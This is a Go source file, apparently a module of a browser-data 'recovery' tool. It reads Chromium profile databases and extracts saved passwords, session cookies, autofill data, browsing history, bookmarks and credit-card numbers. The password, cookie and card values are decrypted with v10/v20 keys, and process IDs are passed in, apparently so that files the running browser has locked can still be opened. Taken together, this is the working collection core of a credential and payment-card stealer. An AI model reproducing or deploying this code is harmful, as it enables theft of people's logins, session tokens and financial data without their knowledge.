package chromium import ( "database/sql" "encoding/json" "fmt" "os" "path/filepath" "strings" "recovery/recovery/crypto" "recovery/recovery/db" "recovery/recovery/types" ) const HistoryLimit = 5000 func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult { var results []types.PasswordResult for _, dbFile := range []string{"Login Data", "Login Data For Account"} { dbPath := filepath.Join(profile.Path, dbFile) if _, err := os.Stat(dbPath); err != nil { continue } d, err := db.OpenDatabase(dbPath, pids) if err != nil { continue } rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins") if err != nil { d.Close() continue } for rows.Next() { var url, username sql.NullString var passwordBlob []byte rows.Scan(&url, &username, &passwordBlob) password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20) if dbFile == "Login Data For Account" && password == "" { continue } if url.String != "" && (username.String != "" || password != "") { results = append(results, types.PasswordResult{ URL: url.String, Username: username.String, Password: password, Browser: cfg.Name, Profile: profile.Name, }) } } rows.Close() d.Close() } return results } func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult { dbPath := filepath.Join(profile.Path, "Network", "Cookies") if _, err := os.Stat(dbPath); err != nil { dbPath = filepath.Join(profile.Path, "Cookies") if _, err := os.Stat(dbPath); err != nil { return nil } } d, err := db.OpenDatabase(dbPath, pids) if err != nil { logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err) return nil } defer d.Close() rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies") if err != nil { logf("cookie query failed for %s: %v", cfg.Name, err) return nil } defer rows.Close() var results []types.CookieResult count := 0 for rows.Next() { count++ var host, name, path, plainValue sql.NullString var secure, httpOnly sql.NullBool var expiresUTC sql.NullInt64 var encryptedValue []byte rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue) value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20) if value == "" { value = plainValue.String } results = append(results, types.CookieResult{ Host: host.String, Name: name.String, Value: value, Path: path.String, Secure: secure.Bool, HTTPOnly: httpOnly.Bool, ExpiresUTC: expiresUTC.Int64, Browser: cfg.Name, Profile: profile.Name, }) } logf("cookie row count for %s: %d", cfg.Name, count) return results } func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { dbPath := filepath.Join(profile.Path, "Web Data") if _, err := os.Stat(dbPath); err != nil { return nil } d, err := db.OpenDatabase(dbPath, pids) if err != nil { return nil } defer d.Close() queries := []string{ "SELECT name, value, date_created, count FROM autofill", "SELECT name, value, count FROM autofill", "SELECT name, value FROM autofill", } var results []types.AutofillResult for _, q := range queries { rows, err := d.Query(q) if err != nil { continue } for rows.Next() { var name, value sql.NullString var dateCreated, count sql.NullInt64 switch len(strings.Split(q, ",")) { case 4: rows.Scan(&name, &value, &dateCreated, &count) case 3: rows.Scan(&name, &value, &count) default: rows.Scan(&name, &value) } if name.String != "" { results = append(results, types.AutofillResult{ Name: name.String, Value: value.String, DateCreated: dateCreated.Int64, Browser: cfg.Name, Profile: profile.Name, }) } } rows.Close() if len(results) > 0 { break } } return results } func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult { dbPath := filepath.Join(profile.Path, "History") if _, err := os.Stat(dbPath); err != nil { return nil } d, err := db.OpenDatabase(dbPath, pids) if err != nil { return nil } defer d.Close() queries := []string{ fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), } var results []types.HistoryResult for _, q := range queries { rows, err := d.Query(q) if err != nil { continue } for rows.Next() { var url, title sql.NullString var visitTime sql.NullInt64 var transition, duration sql.NullInt64 if strings.Contains(q, "visit_duration") { rows.Scan(&url, &title, &visitTime, &transition, &duration) } else { rows.Scan(&url, &title, &visitTime, &transition) } var visitTimeUnix int64 if visitTime.Int64 > 0 { visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000 } if url.String != "" { results = append(results, types.HistoryResult{ URL: url.String, Title: title.String, VisitTimeUnix: visitTimeUnix, VisitCount: duration.Int64, Browser: cfg.Name, Profile: profile.Name, }) } } rows.Close() if len(results) > 0 { break } } return results } func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { bookmarkPath := filepath.Join(profile.Path, "Bookmarks") data, err := os.ReadFile(bookmarkPath) if err != nil { return nil } var bookmarkData map[string]interface{} if err := json.Unmarshal(data, &bookmarkData); err != nil { return nil } var results []types.BookmarkResult if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok { walkBookmarkNode(roots, cfg.Name, profile.Name, &results) } return results } func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { for _, key := range []string{"bookmark_bar", "other", "synced"} { if child, ok := node[key].(map[string]interface{}); ok { walkBookmarkChildren(child, browser, profileName, results) } } } func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { children, ok := node["children"].([]interface{}) if !ok { return } for _, c := range children { child, ok := c.(map[string]interface{}) if !ok { continue } switch child["type"] { case "url": name, _ := child["name"].(string) url, _ := child["url"].(string) if url != "" { *results = append(*results, types.BookmarkResult{ Name: name, URL: url, Type: "url", Browser: browser, Profile: profileName, }) } case "folder": walkBookmarkChildren(child, browser, profileName, results) } } } func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult { dbPath := filepath.Join(profile.Path, "Web Data") if _, err := os.Stat(dbPath); err != nil { return nil } d, err := db.OpenDatabase(dbPath, pids) if err != nil { return nil } defer d.Close() rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards") if err != nil { return nil } defer rows.Close() var results []types.CreditCardResult for rows.Next() { var name, nickname sql.NullString var expMonth, expYear sql.NullInt64 var encrypted []byte rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname) cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20) if name.String != "" || cardNumber != "" { results = append(results, types.CreditCardResult{ NameOnCard: name.String, ExpirationMonth: int(expMonth.Int64), ExpirationYear: int(expYear.Int64), CardNumber: cardNumber, Nickname: nickname.String, Browser: cfg.Name, Profile: profile.Name, }) } } return results }